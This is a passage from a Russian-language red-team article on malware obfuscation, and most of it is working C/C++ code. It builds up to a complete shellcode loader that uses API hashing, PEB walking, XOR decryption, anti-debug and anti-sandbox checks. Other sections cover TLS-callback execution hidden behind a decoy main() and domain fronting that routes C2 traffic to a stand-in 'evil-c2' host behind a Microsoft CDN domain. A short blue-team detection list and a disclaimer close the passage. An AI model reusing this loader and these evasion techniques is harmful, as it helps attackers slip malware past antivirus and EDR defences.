// Генерация XOR-декодера с случайным выбором регистров
void GenerateDecoder(PBYTE output, PBYTE payload, DWORD payloadSize,
                     PBYTE key, DWORD keySize) {
    REG counterReg = (REG)(GetRandomInt() % 4);  // случайный регистр
для счётчика
    REG pointerReg = (REG)((counterReg + 1) % 4); // для указателя
    REG keyReg     = (REG)((counterReg + 2) % 4); // для ключа
    REG tempReg    = (REG)((counterReg + 3) % 4); // временный

    int offset = 0;

    // mov counterReg, payloadSize (с подстановкой регистра)
    output[offset++] = 0xB8 + counterReg; // mov reg, imm32
    *(DWORD*)(output + offset) = payloadSize;
    offset += 4;

    // ... остальные инструкции с подставленными регистрами
    // Каждый билд — другие регистры — другой байтовый паттерн
}
```

9.3 Code Transposition

```
// Перестановка независимых инструкций
// Порядок меняется, результат тот же

// Оригинал:
// 1. mov eax, [var1]
// 2. mov ebx, [var2]
// 3. mov ecx, [var3]
// 4. add eax, ebx
// 5. xor eax, ecx

// Инструкции 1, 2, 3 независимы — можно переставлять!
// Вариант A: 1, 2, 3, 4, 5
// Вариант B: 2, 3, 1, 4, 5
// Вариант C: 3, 1, 2, 4, 5
// Вариант D: 2, 1, 3, 4, 5
// ... 6 перестановок для 3 независимых инструкций
```

```
// Dependency graph:
// 1 → 4 (eax)
// 2 → 4 (ebx)
// 3 → 5 (ecx)
// 4 → 5 (eax)
// Инструкции без зависимостей — свободно переставляются

typedef struct {
    BYTE code[16];
    int length;
    int reads[4];   // какие регистры читает
    int writes[4];  // какие регистры пишет
} INSTRUCTION_META;

void ShuffleIndependent(INSTRUCTION_META* instructions, int count) {
    for (int i = 0; i < count; i++) {
        for (int j = i + 1; j < count; j++) {
            if (!HasDependency(&instructions[i], &instructions[j])) {
                // Можно переставить с вероятностью 50%
                if (GetRandomInt() % 2) {
                    INSTRUCTION_META tmp = instructions[i];
                    instructions[i] = instructions[j];
                    instructions[j] = tmp;
                }
            }
        }
    }
}
```

---

10. Обфускация данных

10.1 Split variables — разделение переменных

```
// Вместо одной переменной — несколько, объединяемых при использовании

// Оригинал: DWORD key = 0xDEADBEEF;
```

```
// Обфусцированный:
DWORD key_part1 = 0xDE000000;
DWORD key_part2 = 0x00AD0000;
DWORD key_part3 = 0x0000BE00;
DWORD key_part4 = 0x000000EF;
// Восстановление:
DWORD key = key_part1 | key_part2 | key_part3 | key_part4;

// Или через арифметику:
DWORD key_a = 0x12345678;
DWORD key_b = 0xCC997977; // key_a ^ 0xDEADBEEF
// Восстановление:
DWORD key = key_a ^ key_b; // = 0xDEADBEEF
```

10.2 Array encoding — кодирование массивов

```
// Шеллкод хранится не как массив байт, а как формулы

// Вместо: BYTE sc[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, ... };
// Каждый байт вычисляется:

BYTE DecodeShellcodeByte(int index) {
    // Полином: f(x) = ax^3 + bx^2 + cx + d (mod 256)
    // Коэффициенты подбираются чтобы f(0)=0xFC, f(1)=0x48, ...
    int a = 0x13, b = 0x37, c = 0x42, d = 0xFC;
    return (BYTE)((a * index * index * index +
                   b * index * index +
                   c * index + d) & 0xFF);
    // Не работает для произвольных данных — нужна lookup table
}

// Практичнее: массив дельт
// Вместо абсолютных значений — разница между соседними байтами
BYTE scDeltas[] = { 0xFC, 0x4C, 0x3B, 0x61, 0x0C, ... };
// Восстановление:
BYTE sc[256];
sc[0] = scDeltas[0];
for (int i = 1; i < scSize; i++) {
```

```
    sc[i] = sc[i-1] + scDeltas[i];
}

// Или: чётные/нечётные байты в разных массивах
BYTE scEven[] = { 0xFC, 0x83, 0xF0, ... }; // байты 0, 2, 4, ...
BYTE scOdd[]  = { 0x48, 0xE4, 0x31, ... }; // байты 1, 3, 5, ...
// Восстановление: merge
```

10.3 Encrypted stack — шифрование стека

```
// Sensitive данные на стеке шифруются когда не используются
// Защита от memory dump и cold boot attacks

void SecureFunction() {
    BYTE key[32] = { /* AES key */ };
    BYTE iv[16]  = { /* AES IV */ };

    // Использовали ключи...
    AesDecrypt(payload, payloadSize, key, iv, &decrypted, &decLen);

    // Немедленно зачищаем!
    SecureZeroMemory(key, sizeof(key));
    SecureZeroMemory(iv, sizeof(iv));

    // Или лучше: шифруем ключи другим ключом, храним зашифрованными
    // Расшифровываем только на время вызова AesDecrypt

    // Продвинутый вариант: весь stack frame XOR'ится
    BYTE stackKey = (BYTE)(GetTickCount() & 0xFF);
    PBYTE stackStart = (PBYTE)_AddressOfReturnAddress() - 256;
    for (int i = 0; i < 256; i++) {
        stackStart[i] ^= stackKey;
    }
    // ... sleep / другие операции ...
    // Расшифровать перед return
    for (int i = 0; i < 256; i++) {
        stackStart[i] ^= stackKey;
    }
```

```
}
```

---

11. Обфускация на уровне PE

11.1 Section name randomization

```
// Стандартные имена секций (.text, .data, .rdata) — fingerprint
// Меняем на случайные или имитируем другой компилятор

// В линкере или post-processing:
// .text  → .code    (выглядит как MASM)
// .data  → .bss     (выглядит как GCC)
// .rdata → .rodata  (Linux-стиль)
// .rsrc  → .reloc   (путаница)

// Или случайные имена:
// .text → .aXk9
// .data → .mQ2p
// Секции до 8 символов в PE

// Post-processing скрипт:
// python pe_rename_sections.py payload.exe
```

11.2 Entry point obfuscation

```
// Настоящий entry point — не начало main()
// Вставляем "прелюдию" — junk код перед реальным entry

// TLS Callback: выполняется ДО entry point!
// EDR может не отслеживать TLS callbacks

#pragma comment(linker, "/INCLUDE:_tls_used")

void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
    if (Reason == DLL_PROCESS_ATTACH) {
```

```
        // Этот код выполняется ДО main()!
        // Anti-debug проверки здесь
        if (IsDebuggerPresent()) {
            ExitProcess(0);
        }

        // Или даже весь payload здесь
        DecryptAndExecutePayload();
        ExitProcess(0);
        // main() никогда не вызовется
    }
}

// Регистрация TLS callback
#pragma data_seg(".CRT$XLB")
PIMAGE_TLS_CALLBACK pTlsCallbacks[] = { TlsCallback, NULL };
#pragma data_seg()

// main() — фейковая точка входа с безобидным кодом
int main() {
    printf("Hello, World!\n");
    return 0;
}
```

11.3 Import table obfuscation

```
// Delayed imports: функции резолвятся не при загрузке, а при первом
вызове
// IAT при статическом анализе — пустая

// #pragma comment(lib, "kernel32.lib") — обычный import
// Вместо этого:
#pragma comment(lib, "delayimp.lib")
#pragma comment(linker, "/DELAYLOAD:kernel32.dll")

// Или полностью ручной import:
// 1. Пустой IAT (нет imports кроме ntdll)
// 2. Все функции резолвятся через PEB walking
```

```
// 3. Статический анализ видит "чистый" бинарник
```

---

12. Обфускация сетевого взаимодействия

12.1 Domain fronting через WinHTTP

```
// C2 коммуникация маскируется под легитимный трафик
// TLS SNI = легитимный домен, Host header = C2

HINTERNET hSession = WinHttpOpen(
    OBF(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"),
    WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
    WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

// Подключаемся к CDN (легитимный домен)
HINTERNET hConnect = WinHttpConnect(hSession,
    OBF(L"cdn.microsoft.com"),  // SNI = microsoft.com
    INTERNET_DEFAULT_HTTPS_PORT, 0);

HINTERNET hRequest = WinHttpOpenRequest(hConnect,
    L"GET", OBF(L"/api/update/check"),
    NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
    WINHTTP_FLAG_SECURE);

// Подменяем Host header на C2
WinHttpAddRequestHeaders(hRequest,
    OBF(L"Host: evil-c2.azureedge.net\r\n"),  // реальный C2
    -1, WINHTTP_ADDREQ_FLAG_REPLACE);

WinHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0);

// Сетевой трафик выглядит как запрос к microsoft.com
// Firewall/proxy видит TLS к cdn.microsoft.com — легитимно
// CDN маршрутизирует по Host header к C2
```

12.2 Обфускация C2 протокола

```
// C2 данные маскируются под обычные HTTP данные
// Команды кодируются в cookies, headers, URL parameters

// Маскировка под API-запрос:
char url[512];
sprintf(url, "/api/v2/users/%s/preferences?lang=%s&theme=%s",
    EncodeCommand(cmd, part1),    // команда в "user ID"
    EncodeData(data, part2),       // данные в "lang"
    EncodeChecksum(checksum));     // checksum в "theme"

// Ответ от C2 маскируется под JSON:
// {"status":"ok","user":{"id":"base64_encoded_payload","prefs":...}}

// Маскировка под изображение:
// Beacon data прячется в EXIF metadata PNG/JPEG
// Или в LSB (Least Significant Bit) пикселей — стеганография
```

---

13. Compile-time обфускация (продвинутая)

13.1 Constexpr шифрование (C++17/20)

```
// Всё шифрование происходит при компиляции
// В бинарнике — только шифротекст

template<size_t N>
struct EncryptedBuffer {
    uint8_t data[N];
    uint8_t key[16];

    constexpr EncryptedBuffer(const uint8_t (&input)[N],
                              const uint8_t (&k)[16]) : data{}, key{}
{
        for (size_t i = 0; i < 16; i++) key[i] = k[i];
        for (size_t i = 0; i < N; i++) { data[i] = input[i] ^ k[i %
```

```
16]; // Дополнительная трансформация data[i] = ((data[i] >> 3) |
(data[i] << 5));
            data[i] += (uint8_t)(i * 7 + 13);
        }
    }

    void decrypt(uint8_t* output) const {
        for (size_t i = 0; i < N; i++) {
            output[i] = data[i];
            output[i] -= (uint8_t)(i * 7 + 13);
            output[i] = ((output[i] << 3) | (output[i] >> 5));
            output[i] ^= key[i % 16];
        }
    }
};

// Использование:
constexpr uint8_t rawShellcode[] = { 0xFC, 0x48, 0x83, /* ... */ };
constexpr uint8_t encKey[] = { 0xAA,0xBB,0xCC,0xDD,0xEE,0xFF,
                               0x11,0x22,0x33,0x44,0x55,0x66,
                               0x77,0x88,0x99,0x00 };

// Шифруется при КОМПИЛЯЦИИ:
constexpr auto encrypted = EncryptedBuffer(rawShellcode, encKey);

// Расшифровка в рантайме:
uint8_t shellcode[sizeof(rawShellcode)];
encrypted.decrypt(shellcode);
```

13.2 Compile-time API hash generation

```
// Хэши WinAPI функций вычисляются при компиляции
// В бинарнике — только числа, нет ни строк, ни вызовов hash-функции

constexpr DWORD CompileTimeHash(const char* str, DWORD seed =
0xC0FFEE) {
    DWORD hash = seed;
    while (*str) {
```

```
        hash = ((hash >> 5) | (hash << 27)) + *str++;
        hash ^= seed;
    }
    return hash;
}

// Макрос для compile-time вычисления
#define CT_HASH(str) ([]() { \
    constexpr DWORD h = CompileTimeHash(str); \
    return h; \
}())

// Использование:
FARPROC fn = Resolve(CT_HASH("kernel32.dll"),
CT_HASH("VirtualAlloc"));
// Компилятор подставляет готовые числа
// В бинарнике: Resolve(0x1A2B3C4D, 0x5E6F7A8B)
// Строк "kernel32.dll" и "VirtualAlloc" нет нигде!
```

---

14. Полный пример: обфусцированный shellcode loader

```
// Всё вместе: API hashing + XOR encryption + anti-debug +
// control flow flattening + junk code + dynamic resolution

// ============ Конфигурация (менять при каждом билде) ============
#define HASH_SEED       0xBADC0FFE
#define XOR_KEY         { 0x4A,0x7B,0x1C,0xDE,0x91,0x33,0xF0,0xA2, \
                          0x5E,0xC7,0x88,0x14,0x6D,0xB9,0x02,0xE5 }
#define H_KERNEL32      0xA1B2C3D4
#define H_NTDLL         0xE5F6A7B8
#define H_VirtualAlloc  0x11223344
#define H_VirtualProtect 0x55667788
#define H_RtlMoveMemory 0x99AABBCC

// ============ Зашифрованный шеллкод ============
unsigned char encPayload[] = {
```

```
    // ... AES/XOR зашифрованный шеллкод ...
    0x8B, 0x3F, 0xA1, 0x55, // ...
};

// ============ Hash функция ============
DWORD H(const char* s) {
    DWORD h = HASH_SEED;
    while (*s) { h = ((h >> 5) | (h << 27)) + *s++; h ^= HASH_SEED; }
return h; } // ============ PEB Walker ============ HMODULE
GetMod(DWORD hash) { PPEB p = (PPEB)__readgsqword(0x60); PLIST_ENTRY
head = &p->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY e = head->Flink;
    while (e != head) {
        PLDR_DATA_TABLE_ENTRY m = CONTAINING_RECORD(
            e, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        // Hash unicode name
        DWORD nameHash = HASH_SEED;
        for (int i = 0; i < m->BaseDllName.Length / 2; i++) {
            char c = (char)m->BaseDllName.Buffer[i];
            if (c >= 'A' && c <= 'Z') c += 32; // tolower nameHash =
((nameHash >> 5) | (nameHash << 27)) + c; nameHash ^= HASH_SEED; } if
(nameHash == hash) return (HMODULE)m->DllBase;
        e = e->Flink;
    }
    return NULL;
}

// ============ Export Walker ============
FARPROC GetFn(HMODULE m, DWORD hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)m;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)m +
dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (PBYTE)m +
nt->OptionalHeader.DataDirectory[0].VirtualAddress);
    PDWORD names = (PDWORD)((PBYTE)m + exp->AddressOfNames);
    PDWORD funcs = (PDWORD)((PBYTE)m + exp->AddressOfFunctions);
    PWORD ords = (PWORD)((PBYTE)m + exp->AddressOfNameOrdinals);
```

```
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        if (H((char*)((PBYTE)m + names[i])) == hash)
            return (FARPROC)((PBYTE)m + funcs[ords[i]]);
    }
    return NULL;
}

// ============ Main: Control Flow Flattened ============
void Run() {
    // Anti-debug
    volatile PPEB peb = (PPEB)__readgsqword(0x60);
    if (peb->BeingDebugged) return;

    // Anti-sandbox
    LARGE_INTEGER t1, t2, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&t1);
    volatile int x = 0;
    for (volatile int i = 0; i < 1000000; i++) x += i;
QueryPerformanceCounter(&t2); if ((t2.QuadPart - t1.QuadPart) >
freq.QuadPart) return; // too slow = emulation

    // Resolve APIs
    typedef LPVOID (WINAPI *tVA)(LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL (WINAPI *tVP)(LPVOID, SIZE_T, DWORD, PDWORD);

    tVA pVA = (tVA)GetFn(GetMod(H_KERNEL32), H_VirtualAlloc);
    tVP pVP = (tVP)GetFn(GetMod(H_KERNEL32), H_VirtualProtect);

    if (!pVA || !pVP) return;

    // Decrypt payload
    BYTE key[] = XOR_KEY;
    SIZE_T scSize = sizeof(encPayload);
    PBYTE sc = (PBYTE)HeapAlloc(GetProcessHeap(), 0, scSize);
    for (SIZE_T i = 0; i < scSize; i++) {
        sc[i] = encPayload[i] ^ key[i % sizeof(key)];
    }
```

```
    // Allocate RW, copy, change to RX
    PVOID mem = pVA(NULL, scSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
    for (SIZE_T i = 0; i < scSize; i++) ((PBYTE)mem)[i] = sc[i]; //
manual copy
    SecureZeroMemory(sc, scSize);
    HeapFree(GetProcessHeap(), 0, sc);

    DWORD old;
    pVP(mem, scSize, PAGE_EXECUTE_READ, &old);

    // Execute
    ((void(*)())mem)();
}

int main() {
    Run();
    return 0;
}
```

---

15. Рекомендации

Для Red Team — чеклист обфускации

Уровень	Техника	Что обходит
Basic	XOR строк + stack strings	strings, YARA по строкам
Basic	Dynamic API resolution	IAT analysis
Medium	API Hashing + PEB walking	GetProcAddress hooks, IAT
Medium	AES/RC4 шифрование payload	Статические сигнатуры шеллкода
Medium	Anti-debug + Anti-sandbox	Sandbox анализ, отладка
Advanced	Control flow flattening	Автоматический анализ CFG
Advanced	Function pointer obfuscation	Memory dump analysis
Advanced	Compile-time encryption	Статический анализ .rdata
Expert	Metamorphic code	Байтовые сигнатуры, ML patterns

Уровень	Техника	Что обходит
Expert	Anti-disassembly	IDA/Ghidra автоанализ
Expert	TLS Callbacks	Entry point monitoring

Для Blue Team — что детектить

- **Энтропия секций** — .text/.data с энтропией > 7.0 = зашифрованный payload
- **IAT аномалии** — бинарник без импортов или с только LoadLibrary/GetProcAddress
- **TLS callbacks** — наличие TLS Directory в PE = подозрительно для простого EXE
- **RWX memory** — VirtualAlloc/VirtualProtect с PAGE_EXECUTE_READWRITE
- **PEB access patterns** — чтение PEB->Ldr через GS:[0x60] вне стандартных API
- **Anti-debug calls** — IsDebuggerPresent, NtQueryInformationProcess(ProcessDebugPort)
- **Timing checks** — QueryPerformanceCounter с последующим сравнением
- **SystemFunction032/033** — RC4 через undocumented API = crypto without imports

Для Purple Team

- Соберите набор обфусцированных samples с каждой техникой
- Протестируйте ваш AV/EDR против каждой по отдельности и в комбинации
- Напишите YARA-правила для детекта compile-time obfuscation patterns
- Проверьте: детектит ли ваш EDR PEB walking? API hashing? TLS callbacks?

Заключение

Обфускация — это **слои**. Один XOR строк не спасёт. Но комбинация API hashing + compile-time encryption + control flow flattening + anti-analysis + metamorphic code создаёт payload, который крайне сложно анализировать как автоматически, так и вручную.

Ключевой принцип: **каждый билд должен быть уникальным**. Меняйте hash seed, XOR ключи, регистры, порядок инструкций, junk code. Один и тот же source code → тысячи разных бинарников.

Для защитников: фокусируйтесь на **поведении**, а не на сигнатурах. Обфусцированный код всё равно должен выделить память, записать шеллкод и выполнить его — этот поведенческий паттерн обфускация скрыть не может.

Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.